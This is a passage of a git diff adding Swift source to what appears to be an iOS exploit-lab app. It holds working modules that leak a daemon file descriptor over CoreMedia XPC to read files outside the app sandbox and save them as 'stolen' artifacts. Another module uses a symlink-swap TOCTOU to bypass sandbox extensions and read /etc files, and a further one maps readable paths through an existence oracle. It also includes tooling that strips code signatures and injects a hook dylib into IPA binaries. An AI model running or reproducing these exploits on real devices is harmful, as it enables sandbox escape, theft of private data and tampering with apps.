entitlement,也不触发权限提示。其 FigXPC 内存源握手(.rp1 → .rp2 → .org)对无特权客户端返回状态 0;随后的 'Curl' 创建消息在 CreationURL 里携带由客户端指定的绝对 file:// 路径,守护进程以自身凭据打开该路径,既不校验它是否位于请求方的沙盒容器内,也不校验该路径对请求方是否可读。回复的 ByteStreamDetails 字典携带一个活的 FileDescriptor。应用 dup 该描述符后用 pread 读取 —— 描述符级 I/O 不受客户端沙盒的路径检查约束,因此应用自身 open() 返回 EPERM 的文件,其完整内容会落入应用容器。 + """, + notesZh: """ + 同一原语附带三项能力:对受保护目录 'Curl' 返回目录描述符,fdopendir/readdir 可枚举其内容;真实但被拒的路径返回 -12203,不存在的路径返回 -17913,构成存在性预言机。iOS 27.0 封堵了 read / fdsc / getL 三个辅助 opcode(-16158),但 Curl 创建回复内的主描述符发放路径保持完整 —— 27.0 与 27.0.1 均已端到端验证。可读域经 27 个目标双向映射,仅 /private/var/mobile/Media/iTunes_Control/iTunes/ 可开;照片、信息、通讯录、TCC 数据库、钥匙串、Safari、健康、钱包及其它应用容器一律 -12203。写入路径两版均被拒(-12878),故该原语为读 / 枚举 / 预言机,不含写。 + """, + run: { ctx in + ctx.arm("cm.fdleak", "handshake + vend") + var lines: [String] = [] + + guard let session = FdLeak.Session() else { + ctx.fail("cm.fdleak", tl("无法建立会话")) + throw LabError(message: tl("CoreMedia 符号解析失败,或 XPC 连接无法创建")) + } + defer { session.shutdown() } + + lines.append(contentsOf: session.handshakeLog) + lines.append(tl("握手建立: ") + "\(session.established)") + + if !session.established { + // Two very different situations look identical from here, so separate + // them: no reply at all means nothing is listening (simulator, or the + // service was removed); a reply that is not a dictionary means the + // daemon answered and refused. + let answered = session.replyTypes.contains { $0 == "dictionary" } + let silent = session.replyTypes.allSatisfy { $0 == "timeout" || $0 == "nil" } + lines.append("") + lines.append(tl("— 判定 —")) + lines.append(tl("连接对象已创建: ") + "\(session.connectionCreated)") + lines.append(tl("回复类型: ") + "\(session.replyTypes.joined(separator: ", "))") + let simulator: Bool = { + #if targetEnvironment(simulator) + return true + #else + return false + #endif + }() + if silent && simulator { + lines.append(tl("当前为模拟器:模拟器内不运行 mediaplaybackd,该 Mach 服务无人监听,")) + lines.append(tl("因此握手收不到任何回复。真机上该服务常驻,握手应返回字典。")) + } else if silent { + lines.append(tl("服务无人监听 —— 该构建可能已移除或重命名该 Mach 服务。")) + } else if !answered { + lines.append(tl("服务有回复但非字典 —— 握手被拒绝。")) + } + ctx.disarm("cm.fdleak", "handshake failed") + return ModuleOutcome(headline: silent ? tl("服务无人监听(本平台不适用)") : tl("握手被拒绝"), + detail: lines.joined(separator: "\n")) + } + + // control: the app's own open() on the same path must fail + lines.append("") + lines.append(tl("— 对照 —")) + lines.append(session.directOpenControl(FdLeak.readableDomain)) + + // existence oracle + lines.append("") + lines.append(tl("— 存在性预言机 —")) + for path in [FdLeak.readableDomain, + FdLeak.readableDomain + "/cinder27_no_such_file"] { + let e = session.probeExistence(path) + let verdict = e.code == 0 ? tl("可开") : + (e.code == FdLeak.errAccessDenied ? tl("存在但被拒 (-12203)") : + (e.code == FdLeak.errNoSuchFile ? tl("不存在 (-17913)") : tl("错误码 ") + "\(e.code)")) + lines.append("\(verdict) \(path)") + } + + // directory enumeration + lines.append("") + lines.append(tl("— 目录枚举 —")) + let listing = session.list(FdLeak.readableDomain) + lines.append(tl("条目 ") + "\(listing.entries.count)" + tl(" 个(mode ") + "\(String(listing.vend.mode, radix: 8))" + tl(")")) + for name in listing.entries.prefix(20) { + lines.append(" · \(name)") + } + + // file theft + lines.append("") + lines.append(tl("— 读取 —")) + var stolen: [URL] = [] + var totalBytes = 0 + for (label, path) in FdLeak.knownTargets { + let (data, vend) = session.read(path) + if let data = data { + totalBytes += data.count + let url = ctx.write("stolen_\(label)", data) + stolen.append(url) + let head = data.prefix(16).map { String(format: "%02x", $0) }.joined() + lines.append("✓ \(label) \(data.count) B uid=\(vend.uid) head=\(head)") + } else { + lines.append("✗ \(label) \(vend.note)") + } + } + + ctx.disarm("cm.fdleak", "bytes=\(totalBytes)") + return ModuleOutcome( + headline: totalBytes > 0 ? tl("跨沙盒读取 ") + "\(totalBytes)" + tl(" 字节") : tl("未取到数据"), + detail: lines.joined(separator: "\n"), + evidence: [ + tl("对照: 应用自身 open() 被 EPERM 拒绝"), + tl("守护进程以自身凭据打开客户端指定的路径"), + tl("可读域: ") + "\(FdLeak.readableDomain)", + tl("iOS 27.2 起修复"), + ], + artifacts: stolen) + }), + + ExploitModule( + id: "sbx.toctou", + titleZh: "sandbox_extension 符号链接 TOCTOU 越界读", + cve: "", + component: "libsystem_sandbox · sandbox_extension_issue_file", + primitive: .oobRead, + reach: .inProcess, + tier: 1, + summaryZh: """ + sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌因此绑定的是签发时刻解析出的目标,而内核对消费时刻所用路径是否为令牌签发路径不做复核。构造顺序为:沙盒内建立符号链接 L 指向沙盒内文件 S;对 L 签发扩展(内核记录 S);将 L 重指向沙盒外目标 T;消费令牌后经 L 读取。内核放行的是 S 所属的类别,而实际打开的是 T 的路径。 + """, + notesZh: """ + 该序列确定性成立,不需要竞态窗口 —— 链接切换发生在应用自身控制的两次系统调用之间,而非与内核并发。Apple 的立场是应用无法为不属于自己的路径签发扩展;这一前提成立,但与本问题无关:扩展是为应用确实拥有的路径签发的,随后该路径被改为指向别处。Apple 未将此视为安全问题,因此没有 CVE 编号,此处也不杜撰。可靠目标是 /etc 下的若干文件 —— 它们在 vnode 层可读,仅被沙盒配置文件拒绝,正是该原语跨越的缺口。 + """, + run: { ctx in + ctx.arm("sbx.toctou", "swap read") + var lines: [String] = [] + + guard SandboxExtension.available else { + ctx.fail("sbx.toctou", tl("符号不可用")) + throw LabError(message: tl("sandbox_extension_issue_file / consume 无法解析")) + } + + let link = ctx.workdir.appendingPathComponent("cinder27_link") + let decoy = ctx.workdir.appendingPathComponent("cinder27_decoy") + + var bypassed = 0 + var noSandbox = 0 + var blocked = 0 + var totalBytes = 0 + var artifacts: [URL] = [] + + for (target, label) in SandboxExtension.knownTargets { + let r = SandboxExtension.readThroughSwap(target: target, link: link, decoy: decoy) + switch r.verdict { + case .bypassed: + bypassed += 1 + totalBytes += r.bytes + if let data = r.data { + let name = target.replacingOccurrences(of: "/", with: "_") + artifacts.append(ctx.write("symlink_\(name)", data)) + } + lines.append("✓ \(target) \(r.bytes) B — \(label)") + lines.append(tl(" 直接读 errno=") + "\(r.directErrno)" + tl(",经链接读到内容")) + lines.append(" \(r.preview)") + case .noSandbox: + noSandbox += 1 + lines.append(tl("· ") + "\(target)" + tl(" 直接读也成功 ") + "\(r.directBytes)" + tl(" B — 该平台未施加沙盒")) + case .blocked: + blocked += 1 + lines.append(tl("✗ ") + "\(target)" + tl(" 直接读 errno=") + "\(r.directErrno)" + tl(",经链接亦失败")) + case .empty: + lines.append(tl("· ") + "\(target)" + tl(" 未读到内容 — ") + "\(r.note)") + } + } + + let simulator: Bool = { + #if targetEnvironment(simulator) + return true + #else + return false + #endif + }() + + lines.append("") + lines.append(tl("— 判定 —")) + lines.append(tl("跨越边界 ") + "\(bypassed)" + tl(" · 无沙盒 ") + "\(noSandbox)" + tl(" · 受阻 ") + "\(blocked)") + if simulator && bypassed == 0 { + lines.append(tl("当前为模拟器:模拟器不对应用施加沙盒,直接读与经链接读都会成功,")) + lines.append(tl("因此该原语在此平台上无法给出证据。真机上直接读应返回 EPERM,")) + lines.append(tl("届时「直接读被拒 + 经链接读成功」即为越界成立的判定。")) + } + + ctx.disarm("sbx.toctou", "bypassed=\(bypassed) nosandbox=\(noSandbox) blocked=\(blocked)") + + let headline: String + if bypassed > 0 { + headline = tl("越过沙盒读取 ") + "\(bypassed)" + tl(" 个文件,共 ") + "\(totalBytes)" + tl(" 字节") + } else if noSandbox > 0 { + headline = tl("该平台未施加沙盒 — 无证据") + } else { + headline = tl("该构建上未越界") + } + + return ModuleOutcome( + headline: headline, + detail: lines.joined(separator: "\n"), + evidence: [ + tl("签发时解析链接目标,消费时不复核路径"), + tl("无需竞态窗口"), + tl("Apple 未将其视为安全问题,无 CVE"), + tl("判定依据:直接读被拒 且 经链接读成功"), + ], + artifacts: artifacts) + }), + + ExploitModule( + id: "cm.fdleak.boundary", + titleZh: "跨沙盒可读域边界测绘", + cve: "CVE-2026-112706", + component: "CoreMedia · mediaplaybackd.bytestream.xpc", + primitive: .probe, + reach: .systemProcess, + tier: 2, + summaryZh: """ + 对 15 个高价值目标逐一施加 'Curl' 探测,记录守护进程返回的服务端错误码,据此确定该原语的实际可读域。区分三种结果:可开、存在但被拒(-12203)、不存在(-17913)。这一轮的价值在于把负结果留在记录上 —— 一个被拒绝的目标与一个未被测试的目标,在结论上完全不同。 + """, + notesZh: """ + 源研究在 26.5 与 27.0 上共探测 27 个目标,结论一致:仅 iTunes 媒体库目录可开。照片库、信息、通讯录、TCC、钥匙串、Safari、健康、钱包、其它应用容器与共享 App Group 全部拒绝。此模块复现该测绘,使边界成为本机上的实测数据而非引用。 + """, + run: { ctx in + ctx.arm("cm.fdleak.boundary", "probe 15 targets") + guard let session = FdLeak.Session() else { + ctx.fail("cm.fdleak.boundary", tl("符号解析失败")) + return ModuleOutcome(headline: tl("CoreMedia 符号不可用"), + detail: tl("无法 dlopen CoreMedia 或解析 FigXPC 入口")) + } + defer { session.shutdown() } + + guard session.established else { + // No daemon on this platform (simulator) or the service was removed. + let silent = session.replyTypes.allSatisfy { $0 == "timeout" || $0 == "nil" } + ctx.disarm("cm.fdleak.boundary", "no session") + var lines = session.handshakeLog + lines.append("") + lines.append(tl("回复类型: ") + "\(session.replyTypes.joined(separator: ", "))") + lines.append(silent + ? tl("该 Mach 服务无人监听 —— 本平台不适用(模拟器内不运行 mediaplaybackd)。真机上该服务常驻。") + : tl("服务有回复但握手被拒绝。")) + return ModuleOutcome(headline: silent ? tl("服务无人监听(本平台不适用)") : tl("握手被拒绝"), + detail: lines.joined(separator: "\n")) + } + + var lines: [String] = [] + var reachable = 0, denied = 0, absent = 0 + for path in FdLeak.boundaryProbes { + let e = session.probeExistence(path) + switch e.code { + case 0: + reachable += 1 + lines.append(tl("可开 ") + "\(path)") + case FdLeak.errAccessDenied: + denied += 1 + lines.append(tl("存在·被拒 ") + "\(path)") + case FdLeak.errNoSuchFile: + absent += 1 + lines.append(tl("不存在 ") + "\(path)") + default: + lines.append(tl("码 ") + "\(e.code)" + tl(" ") + "\(path)") + } + } + ctx.disarm("cm.fdleak.boundary", "r=\(reachable) d=\(denied) a=\(absent)") + return ModuleOutcome( + headline: "\(reachable)" + tl(" 可开 · ") + "\(denied)" + tl(" 存在但被拒 · ") + "\(absent)" + tl(" 不存在"), + detail: lines.joined(separator: "\n"), + evidence: [tl("-12203 = 存在但被拒"), tl("-17913 = 不存在")]) + }), + ] +} diff --git a/Sources/CatalogTools.swift b/Sources/CatalogTools.swift new file mode 100644 index 0000000..ef48af5 --- /dev/null +++ b/Sources/CatalogTools.swift @@ -0,0 +1,428 @@ +import Foundation +import UIKit + +// MARK: - Self-tests for the modification tooling +// +// These run inside the app so the tooling proves itself on the device it will be used on, +// rather than only on the build machine. Each one builds its own fixture, exercises one +// tool, and reports the artifact. + +extension Catalog { + + static let tooling: [ExploitModule] = [ + + ExploitModule( + id: "tool.ipa", + titleZh: "IPA 手术自检(改包名 / 注入 / 重签名准备)", + cve: "—", + component: "IPASurgeon · MachO · ZipWriter", + primitive: .probe, + reach: .inProcess, + tier: 1, + summaryZh: "现场造一个最小 IPA(Info.plist + 一个真的 Mach-O),跑完整的改机流程:解包 → 改 CFBundleIdentifier → 注入 LC_LOAD_DYLIB → 去掉 LC_CODE_SIGNATURE → 用自己写的 ZIP 写入器重新打包。产出留在 Documents/Cinder27/IPA,可以直接拿去签名。", + notesZh: "这条不是漏洞,是工具链的证明。它跑通说明 IPA 面板在你的设备上能用,而不是只在构建机上能用。", + run: { ctx in + ctx.arm("tool.ipa", "fixture + patch") + var lines: [String] = [] + + // ---- fixture: a real arm64 Mach-O from this process + guard let exec = Bundle.main.executablePath, + let macho = try? Data(contentsOf: URL(fileURLWithPath: exec)) else { + ctx.fail("tool.ipa", tl("无法读取自身二进制")) + throw LabError(message: tl("无法读取自身二进制")) + } + let header = MachO.header(macho) + lines.append(tl("取自本进程的 Mach-O:") + "\(macho.count)" + tl(" B · 64 位=") + "\(header?.is64 ?? false)" + tl(" · ncmds=") + "\(header?.ncmds ?? 0)") + + // ---- signature strip first, so injection writes into a clean header + var working = macho + if let (stripped, removed) = try? MachO.stripSignature(macho) { + working = stripped + lines.append(tl("移除 LC_CODE_SIGNATURE:") + "\(removed)" + tl(" 条")) + } + + // ---- exercise the load-command injector, and carry the result forward + do { + let injected = try MachO.injectLoad(working, dylibPath: "@executable_path/Frameworks/CinderHook.dylib") + let after = MachO.header(injected) + let cmds = MachO.commands(injected) + let hasHook = cmds.contains { $0.cmd == 0x0C } + lines.append(tl("注入 LC_LOAD_DYLIB:ncmds ") + "\(MachO.header(working)?.ncmds ?? 0)" + tl(" → ") + "\(after?.ncmds ?? 0)" + tl(",sizeofcmds ") + "\(MachO.header(working)?.sizeofcmds ?? 0)" + tl(" → ") + "\(after?.sizeofcmds ?? 0)" + tl(",命令数 ") + "\(cmds.count)" + tl(",含 LC_LOAD_DYLIB=") + "\(hasHook)") + working = injected + } catch { + lines.append(tl("注入未成功(头部无空隙):") + "\(error.localizedDescription)") + } + + // ---- exercise the string patcher on a string the binary really contains + do { + let (patched, hits) = try MachO.patchStrings(working, find: "Cinder27", replace: "Cind3r27") + lines.append(tl("字符串替换 Cinder27 → Cind3r27:") + "\(hits)" + tl(" 处")) + working = patched + } catch { + lines.append(tl("字符串替换失败:") + "\(error.localizedDescription)") + } + + // ---- build the fixture IPA and run the full surgeon + var zip = ZipWriter() + var info: [String: Any] = [ + "CFBundleIdentifier": "com.cinder.fixture", + "CFBundleExecutable": "Fixture", + "CFBundleName": "Fixture", + "CFBundleDisplayName": "Fixture", + "CFBundleShortVersionString": "1.0", + "CFBundleVersion": "1", + "MinimumOSVersion": "17.0", + "CFBundlePackageType": "APPL", + ] + if let data = try? PropertyListSerialization.data(fromPropertyList: info, format: .binary, options: 0) { + zip.add("Payload/Fixture.app/Info.plist", data) + } + zip.add("Payload/Fixture.app/Fixture", working) + let fixture = zip.build() + let fixtureURL = ctx.write("fixture.ipa", fixture) + lines.append(tl("自造 IPA:") + "\(fixture.count)" + tl(" B(ZipWriter 产出,stored 条目)")) + + var recipe = IPARecipe() + recipe.bundleID = "com.cinder.patched" + recipe.displayName = "Patched" + recipe.version = "9.9" + recipe.injectedDylib = "@executable_path/Frameworks/CinderHook.dylib" + recipe.patchedString = "com.cinder.fixture" + recipe.patchedReplacement = "com.cinder.patched" + recipe.stripSignature = true + + var output: URL? + do { + let result = try IPASurgeon.patch(source: fixtureURL, recipe: recipe, workdir: ctx.workdir) + output = result.outputURL + lines.append(tl("手术完成:") + "\(result.entries)" + tl(" 个文件 → ") + "\(result.outputURL.lastPathComponent)") + for note in result.notes { lines.append(" · \(note)") } + } catch { + lines.append(tl("手术失败:") + "\(error.localizedDescription)") + } + ctx.disarm("tool.ipa", "done") + + var artifacts: [URL] = [fixtureURL] + if let o = output { artifacts.append(o) } + return ModuleOutcome(headline: output == nil ? tl("手术未完成") : tl("IPA 手术链路可用"), + detail: lines.joined(separator: "\n"), + artifacts: artifacts) + }), + + ExploitModule( + id: "tool.zip", + titleZh: "ZIP 写入器往返自检", + cve: "—", + component: "ZipWriter + libarchive", + primitive: .probe, + reach: .inProcess, + tier: 1, + summaryZh: "用自己写的 ZIP 写入器造一个含随机内容的归档,再用 libarchive 解回来,逐字节比对。这条证明重打包不会悄悄损坏文件 —— 改机工具最怕的就是这个。", + notesZh: "64 个文件,每个 4 KB 随机内容,比对 CRC 与长度。", + run: { ctx in + ctx.arm("tool.zip", "roundtrip") + var zip = ZipWriter() + var expected: [String: Data] = [:] + var seed: UInt64 = 0x9E3779B97F4A7C15 + for i in 0..<64 { + var bytes = [UInt8]() + for _ in 0..<4096 { + seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17 + bytes.append(UInt8(truncatingIfNeeded: seed)) + } + let name = "dir\(i % 8)/file\(i).bin" + let data = Data(bytes) + expected[name] = data + zip.add(name, data) + } + let archive = zip.build() + let url = ctx.write("zip_roundtrip.zip", archive) + + let dir = ctx.workdir.appendingPathComponent("zipcheck", isDirectory: true) + try? FileManager.default.removeItem(at: dir) + let result = Runners.Archive.extractAll(archive, to: dir) + + var matched = 0 + var mismatched = 0 + for (name, data) in expected { + let path = dir.appendingPathComponent(name) + if let back = try? Data(contentsOf: path), back == data { + matched += 1 + } else { + mismatched += 1 + } + } + ctx.disarm("tool.zip", "matched=\(matched)") + return ModuleOutcome( + headline: mismatched == 0 && matched == expected.count + ? "\(matched)" + tl("/") + "\(expected.count)" + tl(" 个文件逐字节一致") + : "\(matched)" + tl(" 一致 / ") + "\(mismatched)" + tl(" 不一致"), + detail: tl("归档 ") + "\(archive.count)" + tl(" B · 解包 ") + "\(result.count)" + tl(" 项 · ") + "\(result.status)", + evidence: [tl("64 × 4 KB 随机内容"), tl("自己写 ZIP → libarchive 读回")], + artifacts: [url]) + }), + + ExploitModule( + id: "tool.macho", + titleZh: "Mach-O 解析器自检", + cve: "—", + component: "MachO · MachOInspector", + primitive: .probe, + reach: .inProcess, + tier: 1, + summaryZh: "对系统卷上的几个真实二进制跑一遍头解析:架构、类型、平台、最低系统、SDK、加密状态、链接库、rpath。加密状态是这一整套里最有信息量的字段 —— 系统框架 cryptid 为 0,第三方 App 的二进制不是。", + notesZh: "同时跑我自己写的解析器和 MachOInspector,两个结果应该一致。", + run: { ctx in + ctx.arm("tool.macho", "parse") + let targets: [(String, String)] = [ + ("CoreGraphics", "/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics"), + ("CoreMedia", "/System/Library/Frameworks/CoreMedia.framework/CoreMedia"), + ("libarchive", "/usr/lib/libarchive.2.dylib"), + ("ImageIO", "/System/Library/Frameworks/ImageIO.framework/ImageIO"), + (tl("本进程"), Bundle.main.executablePath ?? ""), + ] + var lines: [String] = [] + var parsed = 0 + for (label, path) in targets { + guard FileManager.default.fileExists(atPath: path) else { + lines.append("\(label)" + tl(": 不可见")) + continue + } + guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else { + lines.append("\(label)" + tl(": 读取被拒绝(沙盒)")) + continue + } + parsed += 1 + if let h = MachO.header(data) { + let cmds = MachO.commands(data) + lines.append("\(label)" + tl(": ") + "\(data.count)" + tl(" B · ncmds=") + "\(h.ncmds)" + tl(" 解析出 ") + "\(cmds.count)" + tl(" 条 · type=") + "\(h.filetype)" + tl(" · 64=") + "\(h.is64)") + } + if let info = MachOInspector.inspect(path) { + lines.append(tl(" ") + "\(info.arch)" + tl(" · ") + "\(info.platform)" + tl(" · minOS ") + "\(info.minOS)" + tl(" · SDK ") + "\(info.sdk)" + tl(" · 加密=") + "\(info.isEncrypted)" + tl(" · 库 ") + "\(info.linkedLibraries.count)") + } + } + ctx.disarm("tool.macho", "parsed=\(parsed)") + return ModuleOutcome(headline: tl("解析 ") + "\(parsed)" + tl(" 个二进制"), + detail: lines.joined(separator: "\n")) + }), + + ExploitModule( + id: "tool.hex", + titleZh: "十六进制查找替换自检", + cve: "—", + component: "HexTool", + primitive: .probe, + reach: .inProcess, + tier: 1, + summaryZh: "在随机缓冲里植入已知模式,用十六进制与文本两种写法查找、替换、再查找,确认命中数与偏移都对。", + notesZh: "这条守的是「改机工具最不该出错的地方」。", + run: { ctx in + ctx.arm("tool.hex", "roundtrip") + var bytes = [UInt8](repeating: 0x00, count: 65536) + let needle: [UInt8] = [0xDE, 0xAD, 0xBE, 0xEF] + var planted: [Int] = [] + for i in stride(from: 1000, to: 60000, by: 4096) { + for k in 0.. [ExploitModule] { + stage.moduleIDs.compactMap { Catalog.byID[$0] } + } +} + +struct ChainView: View { + @EnvironmentObject private var engine: LabEngine + + var body: some View { + NavigationStack { + ScrollView { + VStack(spacing: 14) { + ForEach(ChainPlan.stages) { stage in + stageCard(stage) + } + } + .padding(16) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(t("chain.title")) + .navigationBarTitleDisplayMode(.inline) + } + } + + private func stageCard(_ stage: ChainStage) -> some View { + Card { + VStack(alignment: .leading, spacing: 10) { + HStack(spacing: 8) { + Text("\(stage.index)") + .font(.system(size: 11, weight: .bold, design: .monospaced)) + .foregroundColor(T.ember) + .frame(width: 20, height: 20) + .background(Circle().fill(T.ember.opacity(0.16))) + Text(stage.title) + .font(.system(size: 15, weight: .semibold, design: .rounded)) + .foregroundColor(.white) + Spacer() + } + Text(stage.goal) + .font(T.body) + .foregroundColor(.white.opacity(0.66)) + .fixedSize(horizontal: false, vertical: true) + + ForEach(ChainPlan.modules(for: stage)) { module in + HStack(spacing: 8) { + Circle() + .fill(engine.journal.verdict(for: module.id).tint) + .frame(width: 5, height: 5) + Text(module.title).font(T.monoSm).foregroundColor(.white.opacity(0.55)) + .lineLimit(1) + Spacer() + Text(engine.journal.verdict(for: module.id).label) + .font(T.monoSm) + .foregroundColor(engine.journal.verdict(for: module.id).tint) + } + } + + Text("→ " + stage.unlock) + .font(T.tiny) + .foregroundColor(.white.opacity(0.34)) + .fixedSize(horizontal: false, vertical: true) + + RunButton(title: t("chain.stage.run"), systemImage: "play.fill", tint: T.ember) { + engine.runSequence(ChainPlan.modules(for: stage), label: stage.title) + } + } + } + } +} + +// MARK: - File preview + +struct FilePreviewView: View { + let item: FileItem + @EnvironmentObject private var browser: FileBrowser + @Environment(\.dismiss) private var dismiss + @State private var mode = 0 + @State private var text: String? + @State private var hex: String? + @State private var info: [(String, String)] = [] + @State private var editing = false + @State private var draft = "" + @State private var status = "" + + var body: some View { + NavigationStack { + VStack(spacing: 0) { + Picker("", selection: $mode) { + Text(t("files.info")).tag(0) + Text(t("files.text")).tag(1) + Text(t("files.hex")).tag(2) + Text(t("files.package")).tag(3) + } + .pickerStyle(.segmented) + .padding(.horizontal, 16) + .padding(.vertical, 10) + + if !status.isEmpty { + Text(status).font(T.monoSm) + .foregroundColor(status.hasPrefix("✓") ? T.good : T.warn) + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.horizontal, 16).padding(.bottom, 6) + } + + ScrollView { + VStack(alignment: .leading, spacing: 12) { + switch mode { + case 0: + Card { + VStack(alignment: .leading, spacing: 2) { + ForEach(Array(info.enumerated()), id: \.offset) { _, row in + KeyValueRow(key: row.0, value: row.1) + } + } + } + case 1: + if editing { + Card { + TextEditor(text: $draft) + .font(.system(size: 11, design: .monospaced)) + .frame(minHeight: 320) + .scrollContentBackground(.hidden) + .background(T.panelHi) + .cornerRadius(8) + } + } else { + Card { + Text(text ?? "—") + .font(T.monoSm) + .foregroundColor(.white.opacity(0.7)) + .textSelection(.enabled) + .frame(maxWidth: .infinity, alignment: .leading) + } + } + case 2: + Card { + Text(hex ?? "—") + .font(.system(size: 9.5, design: .monospaced)) + .foregroundColor(.white.opacity(0.7)) + .textSelection(.enabled) + .frame(maxWidth: .infinity, alignment: .leading) + } + default: + Card { + let entries = PackageTool.list(item.path) + VStack(alignment: .leading, spacing: 3) { + if entries.isEmpty { + Text("—").font(T.monoSm).foregroundColor(.white.opacity(0.4)) + } else { + ForEach(entries.prefix(300)) { e in + Text("\(e.name) \(e.size) B") + .font(T.monoSm) + .foregroundColor(.white.opacity(0.6)) + .lineLimit(1) + } + } + } + .frame(maxWidth: .infinity, alignment: .leading) + } + } + } + .padding(16) + } + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(item.name) + .navigationBarTitleDisplayMode(.inline) + .toolbar { + ToolbarItem(placement: .topBarLeading) { + if mode == 1 && browser.writable { + Button(editing ? t("files.cancel") : t("files.save")) { + if editing { save() } else { editing = true; draft = text ?? "" } + }.tint(T.ember) + } + } + ToolbarItem(placement: .topBarTrailing) { + Button(t("module.close")) { dismiss() }.tint(T.ember) + } + } + .onAppear(perform: load) + } + } + + private func load() { + info = browser.fileInfo(item) + switch FileLoader.kind(of: item.path) { + case .plist: text = FileLoader.plist(at: item.path) ?? FileLoader.text(at: item.path) + default: text = FileLoader.text(at: item.path) + } + hex = FileLoader.hexDump(at: item.path) + } + + private func save() { + // Validate a plist before writing so a typo cannot break a preference file. + if item.name.hasSuffix(".plist") { + guard let data = draft.data(using: .utf8), + (try? PropertyListSerialization.propertyList(from: data, format: nil)) != nil else { + status = tl("plist 语法错误,未写入") + return + } + } + let backup = item.path + ".cinder27.bak" + if !FileManager.default.fileExists(atPath: backup) { + try? FileManager.default.copyItem(atPath: item.path, toPath: backup) + } + do { + try Container.write(Data(draft.utf8), to: item.path) + status = "✓ \(t("files.save")) · \(t("files.backup"))" + text = draft + editing = false + browser.reload() + } catch { + status = Container.describe(errno) + } + } +} diff --git a/Sources/Container.swift b/Sources/Container.swift new file mode 100644 index 0000000..6d87bdd --- /dev/null +++ b/Sources/Container.swift @@ -0,0 +1,386 @@ +import Foundation +import Darwin + +// MARK: - Container resolution, creation and write verification +// +// Why container writes fail, in the order they actually bite: +// +// 1. The URL you get from FileManager is a *promise*, not a directory. On a fresh install +// only Documents, Library, Library/Caches, Library/Preferences, SystemData and tmp +// exist. `Application Support`, `Library/NoCloud`, `Library/WebKit` and anything you +// invent do NOT — and `Data.write(options: .atomic)` returns ENOENT, not "permission +// denied", because the parent is missing. That reads like a sandbox failure and isn't. +// +// Two paths are deliberately absent from the probe list: the container root itself and +// SystemData. Both exist and are readable, but neither accepts newly created files on +// iOS — a write probe there returns EPERM on a perfectly healthy container. Probing +// them measures the wrong thing, so the list starts at Documents. +// +// 2. `isWritableFile(atPath:)` is `access(W_OK)`, which the sandbox answers against the +// vnode path, not against your sandbox extension. It reports false for directories the +// app can absolutely write to. It is a bad probe; a real create/write/fsync/read-back +// cycle is the only honest one. +// +// 3. Container UUIDs change on reinstall. A path captured earlier — +// /var/mobile/Containers/Data/Application//Documents — is a dead path that +// returns ENOENT even though "the container" plainly exists. Every stored path has to be +// re-rooted against the live container before use. +// +// 4. Library/Preferences is owned by cfprefsd. Writes land on disk but cfprefsd holds the +// authoritative cache and will overwrite them; use UserDefaults for your own keys, and +// treat direct plist writes there as a cold-storage edit that only takes effect on next +// launch (and never for other apps' domains). +// +// This file makes all four explicit and repairable. + +struct ContainerProbe { + var url: URL + var exists: Bool + var canCreate: Bool + var canWrite: Bool + var canReadBack: Bool + var errno: Int32 + var note: String + + var ok: Bool { exists && canWrite && canReadBack } + + var symbol: String { + if ok { return "checkmark.circle.fill" } + if exists { return "exclamationmark.triangle.fill" } + return "xmark.circle" + } +} + +enum Container { + + /// The live data container root. Never hard-code this — it changes on reinstall. + static var root: URL { + URL(fileURLWithPath: NSHomeDirectory(), isDirectory: true) + } + + static var rootPath: String { NSHomeDirectory() } + + /// Every directory the tooling writes into, with the API base it hangs off and the + /// suffix beneath that base. Resolving this way is what makes `Application Support` + /// and everything under it actually exist — the URL alone is only a promise. + struct Standard { + enum Base { + case container, documents, library, appSupport, caches, tmp + } + /// Stable ASCII lookup key — never changes with language. + let id: String + /// Display name. Chinese is the source; English comes from RuntimeText. + let name: String + let base: Base + let suffix: String + + init(id: String, name: String, base: Base, suffix: String = "") { + self.id = id + self.name = name + self.base = base + self.suffix = suffix + } + } + + static let standards: [Standard] = [ + Standard(id: "documents", name: "Documents", base: .documents), + Standard(id: "library", name: "Library", base: .library), + Standard(id: "appsupport", name: "Application Support", base: .appSupport), + Standard(id: "caches", name: "Caches", base: .caches), + Standard(id: "preferences", name: "Preferences", base: .library, suffix: "Preferences"), + Standard(id: "tmp", name: "tmp", base: .tmp), + Standard(id: "nocloud", name: "NoCloud", base: .appSupport, suffix: "NoCloud"), + Standard(id: "webkit", name: "WebKit", base: .library, suffix: "WebKit"), + Standard(id: "cinder27", name: "Cinder27", base: .appSupport, suffix: "Cinder27"), + Standard(id: "work", name: tl("工作区"), base: .appSupport, suffix: "Cinder27/work"), + Standard(id: "backups", name: tl("备份"), base: .documents, suffix: "Cinder27/Backups"), + Standard(id: "ipa", name: tl("IPA 产出"), base: .documents, suffix: "Cinder27/IPA"), + ] + + /// Resolve a standard directory to its *full* path and create it. The API gives the + /// base; the suffix is appended and mkdir -p'd, which is the part that was missing. + static func resolve(_ standard: Standard) -> URL { + let fm = FileManager.default + var base: URL + switch standard.base { + case .container: + base = root + case .documents: + base = (try? fm.url(for: .documentDirectory, in: .userDomainMask, + appropriateFor: nil, create: true)) + ?? root.appendingPathComponent("Documents", isDirectory: true) + case .library: + base = (try? fm.url(for: .libraryDirectory, in: .userDomainMask, + appropriateFor: nil, create: true)) + ?? root.appendingPathComponent("Library", isDirectory: true) + case .appSupport: + base = (try? fm.url(for: .applicationSupportDirectory, in: .userDomainMask, + appropriateFor: nil, create: true)) + ?? root.appendingPathComponent("Library/Application Support", isDirectory: true) + case .caches: + base = (try? fm.url(for: .cachesDirectory, in: .userDomainMask, + appropriateFor: nil, create: true)) + ?? root.appendingPathComponent("Library/Caches", isDirectory: true) + case .tmp: + base = URL(fileURLWithPath: NSTemporaryDirectory(), isDirectory: true) + } + let full = standard.suffix.isEmpty + ? base + : base.appendingPathComponent(standard.suffix, isDirectory: true) + try? fm.createDirectory(at: full, withIntermediateDirectories: true) + return full + } + + static func named(_ id: String) -> URL { + if let match = standards.first(where: { $0.id == id }) { return resolve(match) } + return documents + } + + /// Convenience accessors — everything else should use these instead of index lookups. + static var documents: URL { named("documents") } + static var appSupport: URL { named("appsupport") } + static var work: URL { named("work") } + static var 